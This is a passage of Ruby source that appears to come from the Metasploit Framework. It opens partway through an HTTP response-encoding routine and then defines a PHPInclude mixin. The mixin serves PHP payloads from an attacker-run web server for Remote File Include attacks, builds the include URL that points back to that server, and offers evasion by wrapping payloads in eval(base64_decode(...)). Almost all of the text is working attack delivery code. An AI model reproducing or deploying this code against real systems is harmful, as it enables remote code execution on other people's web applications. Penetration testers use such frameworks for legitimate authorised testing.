headers['Content-Type'] = 'text/html'
|
|
body = "\xFE\xFF" + Rex::Text.to_unicode(body, 'utf-16be')
|
|
when 'utf-7-all'
|
|
headers['Content-Type'] = 'text/html; charset: utf-7'
|
|
body = Rex::Text.to_unicode(body, 'utf-7', 'all')
|
|
when 'none'
|
|
# do nothing
|
|
else
|
|
raise RuntimeError, 'Invalid unicode. how did you get here?'
|
|
end
|
|
end
|
|
|
|
send_response(cli, body, headers)
|
|
end
|
|
|
|
end
|
|
|
|
|
|
###
|
|
#
|
|
# This module provides methods for exploiting PHP scripts by acting as an HTTP
|
|
# server hosting the payload for Remote File Include vulnerabilities.
|
|
#
|
|
###
|
|
module Exploit::Remote::HttpServer::PHPInclude
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
|
|
def initialize(info = {})
|
|
|
|
# Override TCPServer's stance of passive
|
|
super(update_info(info, 'Stance' => Msf::Exploit::Stance::Aggressive))
|
|
|
|
register_evasion_options(
|
|
[
|
|
OptEnum.new('PHP::Encode', [false, 'Enable PHP code obfuscation', 'none', ['none', 'base64']]),
|
|
], Exploit::Remote::HttpServer::PHPInclude
|
|
)
|
|
end
|
|
|
|
#
|
|
# Override exploit() to handle service start/stop
|
|
#
|
|
def exploit
|
|
start_service
|
|
print_status("PHP include server started.");
|
|
|
|
php_exploit
|
|
|
|
select(nil, nil, nil, 5)
|
|
stop_service
|
|
end
|
|
|
|
#
|
|
# Transmits a PHP payload to the web application
|
|
#
|
|
def send_php_payload(cli, body, headers = {})
|
|
|
|
case datastore['PHP::Encode']
|
|
when 'base64'
|
|
body = "<?php eval(base64_decode('#{Rex::Text.encode_base64(body)}'));?>"
|
|
when 'none'
|
|
body = "<?php #{body} ?>"
|
|
end
|
|
|
|
send_response(cli, body, headers)
|
|
end
|
|
|
|
#
|
|
# Handle an incoming PHP code request
|
|
#
|
|
def on_request_uri(cli, request, headers={})
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli)) == nil)
|
|
|
|
# Send it to the application
|
|
send_php_payload(cli, p.encoded, headers)
|
|
end
|
|
|
|
#
|
|
# Return the PHP include URL (pre-encoded)
|
|
#
|
|
def php_include_url(sock=nil)
|
|
addr = datastore['SRVHOST']
|
|
if (addr == "0.0.0.0")
|
|
addr = Rex::Socket.source_address( sock ? sock.peerhost : '1.2.3.4')
|
|
end
|
|
"http://#{addr}:#{datastore['SRVPORT']}#{get_resource()}?"
|
|
end
|
|
|
|
|
|
end
|
|
end
|
|
|